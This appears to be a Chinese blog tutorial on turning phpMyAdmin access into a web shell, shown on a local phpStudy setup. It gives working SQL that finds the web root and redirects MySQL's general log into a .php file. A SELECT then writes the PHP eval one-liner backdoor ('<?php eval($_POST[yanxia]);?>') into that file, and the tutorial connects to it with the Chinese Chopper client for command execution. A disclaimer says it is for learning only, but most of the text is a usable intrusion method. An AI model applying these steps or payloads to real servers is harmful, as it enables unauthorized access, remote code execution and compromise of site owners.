phpmyadmin提权教程

本次教程来自YanXia，转载请注明作者信息,博客地址http://www.535yx.cn，感谢 注意!!!本篇文章仅为技术文章，仅为教大家知识，不是教大家犯罪！！！！请勿在未授权的网站中胡乱使用。感谢！

0x00 介绍

phpMyAdmin是一个以PHP为基础，以Web-Base方式架构在网站主机上的MySQL（3306）的数据库管理工具 这次教程我将在本地环境为大家演示如何在phpmyadmin提权。（别问为什么在本地演示，问就是看看《刑法》第二百八十五条 ）

0x01 准备

一句话木马*1 xise菜刀*1 本地环境:这里我采用phpstudy2016下载地址https://www.xp.cn/download.html

0x02 正文

首先打开地址http://localhost/phpMyAdmin/

然后我们打开sql选项卡，我们需要先查询一下mysql的安装路径 select @@basedir 从而可以知道该网站目录

56506-g73tknbzouk.png

那么这就说明该网站跟目录为D:/phpStudy/WWW/ 接下来我们就可以插入一句话了。 接下来我们利用日志功能写入一句话 首先我们先在sql选项卡里执行以下语句

SHOW VARIABLES LIKE 'general%'

这是用来查看general_log功能是否开启，接着我们手动吧Value值手动改为ON即可

72854-xzgxh6f8qo.png

接着我们就可以插入一句话啦

SET global general_log_file='D:\phpStudy\WWW\yanxia.php';
select '<?php eval($_POST[yanxia]);?>';

18969-cas7kt04nno.png

57899-gyvraevvh5t.png

71532-pl9it39mb4f.png

看文件成功写入啦 写下来我们打开菜刀进行连接

39510-f7u4hq35rfk.png

59073-fjfcdry752s.png

最后我们打开菜刀右下角cmd框进行之后的提权操作(之后的操作不在今天的课程范围，所以不做演示)

0x03 结尾

感谢大家的观看，谢谢！！！！(转载请带上原文地址并告知下本人，谢谢支持)